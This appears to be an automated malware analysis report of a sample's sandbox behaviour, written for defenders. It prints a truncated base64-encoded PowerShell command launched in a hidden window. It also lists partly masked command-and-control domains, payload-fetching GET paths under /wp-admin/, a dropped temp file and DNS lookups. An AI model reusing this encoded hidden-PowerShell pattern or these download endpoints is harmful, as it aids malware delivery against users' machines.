Technical Information
Malicious functions
Executes the following (exploit)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABkAGEAaQBrAHAAbwBtAGYAaQBhAGQAZgBpAHoAbQBlAGEAdABoAD0AJwBjAGgAZQBlAHoAeQB1AHUAZgB2AGEAbwB0AG0AYQBlAGMAJwA7AFsATgBlAHQALgBTAGUAcgB2AGkAYwBlAFAAbwBpAG4AdABNAGEAbgBhAGcAZQByAF0AOgA6ACIAUwBFAG...
- '%CommonProgramFiles%\Microsoft Shared\DW\DW20.EXE' -x -s 1996
Modifies file system
Creates the following files
- %TEMP%\935303.cvr
Network activity
Connects to
- 'fa####ialk.pp.ua':80
- 'fa###rialk.com':80
- 'fa###rialk.com':443
- 'ss#z.cc':443
TCP
HTTP GET requests
- http://fa####ialk.pp.ua/wp-admin/gGQxSh/
- http://fa###rialk.com/wp-admin/gGQxSh/
Other
- 'fa###rialk.com':443
UDP
- DNS ASK fa####ialk.pp.ua
- DNS ASK fa###rialk.com
- DNS ASK pe###ingdom.in
- DNS ASK te#####achieve.com.ng
- DNS ASK ke###port.co.il
- DNS ASK ss#z.cc
Miscellaneous
Creates and executes the following
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABkAGEAaQBrAHAAbwBtAGYAaQBhAGQAZgBpAHoAbQBlAGEAdABoAD0AJwBjAGgAZQBlAHoAeQB1AHUAZgB2AGEAbwB0AG0AYQBlAGMAJwA7AFsATgBlAHQALgBTAGUAcgB2AGkAYwBlAFAAbwBpAG4AdABNAGEAbgBhAGcAZQByAF0AOgA6ACIAUwBFAG...' (with hidden window)
